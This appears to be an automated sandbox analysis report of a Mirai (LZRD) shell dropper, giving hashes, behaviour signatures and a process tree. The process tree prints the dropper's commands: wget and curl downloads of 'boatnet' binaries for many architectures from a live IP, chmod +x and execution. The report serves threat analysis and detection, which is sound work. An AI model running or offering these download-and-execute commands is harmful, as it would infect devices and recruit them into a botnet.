Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    01-11-2024 04:06

General

  • Target

    75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh

  • Size

    2KB

  • MD5

    7223c9d6dfd0588a042452a35c3eedd5

  • SHA1

    3ee35c5d531fccd8bdefb6143429e29575ee47e4

  • SHA256

    75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420

  • SHA512

    d2f5d60d1f528fa306b856a9dfb35e862b7e3e9db01a6c973cc2b11ed83e7a4e896d6542cd96a3699c3ddadaa8befde862d1205a5350efb047293be59caa898e

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 48 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 29 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh
    /tmp/75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh
    1⤵
    • Writes file to tmp directory
    PID:722
    • /usr/bin/wget
      wget http://37.221.93.101/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:726
    • /usr/bin/curl
      curl -O http://37.221.93.101/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:737
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:748
      • /bin/chmod
        chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.x86 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:749
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:750
      • /usr/bin/wget
        wget http://37.221.93.101/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:753
      • /usr/bin/curl
        curl -O http://37.221.93.101/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:755
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:756
      • /bin/chmod
        chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.mips boatnet.x86 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:757
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:758
      • /usr/bin/wget
        wget http://37.221.93.101/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:760
      • /usr/bin/curl
        curl -O http://37.221.93.101/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:761
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:762
        • /bin/chmod
          chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.mips boatnet.x86 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:763
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:764
        • /usr/bin/wget
          wget http://37.221.93.101/hiddenbin/boatnet.i468
          2⤵
            PID:766
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:767
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:774
            • /bin/chmod
              chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:775
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:776
            • /usr/bin/wget
              wget http://37.221.93.101/hiddenbin/boatnet.i686
              2⤵
                PID:779
              • /usr/bin/curl
                curl -O http://37.221.93.101/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:784
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:793
                • /bin/chmod
                  chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:794
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:795
                • /usr/bin/wget
                  wget http://37.221.93.101/hiddenbin/boatnet.x86_64
                  2⤵
                  • Writes file to tmp directory
                  PID:798
                • /usr/bin/curl
                  curl -O http://37.221.93.101/hiddenbin/boatnet.x86_64
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:805
                • /bin/cat
                  cat boatnet.x86_64
                  2⤵
                    PID:816
                  • /bin/chmod
                    chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:817
                  • /tmp/WTF
                    ./WTF
                    2⤵
                    • Executes dropped EXE
                    PID:819
                  • /usr/bin/wget
                    wget http://37.221.93.101/hiddenbin/boatnet.mpsl
                    2⤵
                    • Writes file to tmp directory
                    PID:822
                  • /usr/bin/curl
                    curl -O http://37.221.93.101/hiddenbin/boatnet.mpsl
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:828
                  • /bin/cat
                    cat boatnet.mpsl
                    2⤵
                      PID:829
                    • /bin/chmod
                      chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:830
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Writes file to system bin folder
                      • Reads runtime system information
                      PID:831
                    • /usr/bin/wget
                      wget http://37.221.93.101/hiddenbin/boatnet.arm
                      2⤵
                      • Writes file to tmp directory
                      PID:835
                    • /usr/bin/curl
                      curl -O http://37.221.93.101/hiddenbin/boatnet.arm
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:836
                    • /bin/cat
                      cat boatnet.arm
                      2⤵
                        PID:837
                      • /bin/chmod
                        chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:838
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:839
                      • /usr/bin/wget
                        wget http://37.221.93.101/hiddenbin/boatnet.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:841
                      • /usr/bin/curl
                        curl -O http://37.221.93.101/hiddenbin/boatnet.arm5
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:842
                      • /bin/cat
                        cat boatnet.arm5
                        2⤵
                          PID:850
                        • /bin/chmod
                          chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:851
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:853
                        • /usr/bin/wget
                          wget http://37.221.93.101/hiddenbin/boatnet.arm6
                          2⤵
                          • Writes file to tmp directory
                          PID:856
                        • /usr/bin/curl
                          curl -O http://37.221.93.101/hiddenbin/boatnet.arm6
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:864
                        • /bin/cat
                          cat boatnet.arm6
                          2⤵
                            PID:874
                          • /bin/chmod
                            chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:875
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:877
                          • /usr/bin/wget
                            wget http://37.221.93.101/hiddenbin/boatnet.arm7
                            2⤵
                            • Writes file to tmp directory
                            PID:880
                          • /usr/bin/curl
                            curl -O http://37.221.93.101/hiddenbin/boatnet.arm7
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:884
                          • /bin/cat
                            cat boatnet.arm7
                            2⤵
                              PID:885
                            • /bin/chmod
                              chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-ea6e906bf51e40fca2d5d35fbbb8a2ac-systemd-timedated.service-Z5v596 WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:886
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:887
                            • /usr/bin/wget
                              wget http://37.221.93.101/hiddenbin/boatnet.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:889
                            • /usr/bin/curl
                              curl -O http://37.221.93.101/hiddenbin/boatnet.ppc
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:890
                            • /bin/cat
                              cat boatnet.ppc
                              2⤵
                                PID:894
                              • /bin/chmod
                                chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:895
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:896
                              • /usr/bin/wget
                                wget http://37.221.93.101/hiddenbin/boatnet.spc
                                2⤵
                                • Writes file to tmp directory
                                PID:898
                              • /usr/bin/curl
                                curl -O http://37.221.93.101/hiddenbin/boatnet.spc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:899
                              • /bin/cat
                                cat boatnet.spc
                                2⤵
                                  PID:900
                                • /bin/chmod
                                  chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:901
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:902
                                • /usr/bin/wget
                                  wget http://37.221.93.101/hiddenbin/boatnet.m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:904
                                • /usr/bin/curl
                                  curl -O http://37.221.93.101/hiddenbin/boatnet.m68k
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:905
                                • /bin/cat
                                  cat boatnet.m68k
                                  2⤵
                                    PID:906
                                  • /bin/chmod
                                    chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:907
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:908
                                  • /usr/bin/wget
                                    wget http://37.221.93.101/hiddenbin/boatnet.sh4
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:910
                                  • /usr/bin/curl
                                    curl -O http://37.221.93.101/hiddenbin/boatnet.sh4
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:911
                                  • /bin/cat
                                    cat boatnet.sh4
                                    2⤵
                                      PID:912
                                    • /bin/chmod
                                      chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:913
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:914

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/WTF

                                    Filesize

                                    23KB

                                    MD5

                                    6435daeac1475e26a58bb4a1a1d559f2

                                    SHA1

                                    84038f6881249b0a485f29424e9cc5c4d623a82d

                                    SHA256

                                    27470473f6b873dfcdc2d9394775287286916759db07a55e0ea70b151e9943cc

                                    SHA512

                                    d14dc6bba03e413fd9f05ced7de92740f9c4c09d0ea2d2c792a7ee03b21aa39417a73143f562ecbbba99275094f9f72cfd2ad4391527d77e739c2bcd900c9e5f

                                  • /tmp/WTF

                                    Filesize

                                    105KB

                                    MD5

                                    8eb17c639b114677199b2a6dd1e7e05c

                                    SHA1

                                    b02b3e3cc1f6ea4bb91fd2e7752a3cdc2823139f

                                    SHA256

                                    96bd43ec3d867cfe80a85a4db2f9cc9681369d9d90c64828145f900655c489dd

                                    SHA512

                                    d54b2ce47a437358d939b0f0d2f2eb46a0a38f101a6144e7644aedee5af8bde3ef6ae35ee9187cb559c78f35628315aea16da31dfe97de15e9f6719559e9b471

                                  • /tmp/WTF

                                    Filesize

                                    220B

                                    MD5

                                    f1c24d9fa40a047ae22d2d3ae7dfeac9

                                    SHA1

                                    750274b02d5f5b00026a4f55b020f4285c693533

                                    SHA256

                                    219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                    SHA512

                                    36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                  • /tmp/WTF

                                    Filesize

                                    220B

                                    MD5

                                    a8f502a6fb3b7b940e922c951d9e493a

                                    SHA1

                                    fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                    SHA256

                                    748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                    SHA512

                                    e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                  • /tmp/WTF

                                    Filesize

                                    55KB

                                    MD5

                                    e7a4009e7f1e36b5fbe9ea50423cb0cb

                                    SHA1

                                    8097c404de6facfdf3a8334508adf1428d0831f1

                                    SHA256

                                    6eaaf842e5bb5155941b3569bd4bfd6907b9c2875118c52bbce210c267f14866

                                    SHA512

                                    249abec36b64b00257f26ed4d925a67589b0f1c0feb9c8c4731f996ebbb1bc209d6fa89fc76170d058f1b24af15e658f64de8192999439ef3ba46e99a8f0a50f

                                  • /tmp/boatnet.x86

                                    Filesize

                                    20KB

                                    MD5

                                    9989c8ea288da2dddad73db20f372194

                                    SHA1

                                    06efc879f9c23d099b6716bf9f84ac8666f29e98

                                    SHA256

                                    9d780354175a3b406f5764962a3ba7c137961d10005c632db0e7baae9e0b9008

                                    SHA512

                                    32ea5c58eb7fac324c88f576c7e05867599e5d3380f8868302a315ecc84427e2f80693386150e3121842a06f15c476224c4f66a1dda4d71d47511a1d7c600de9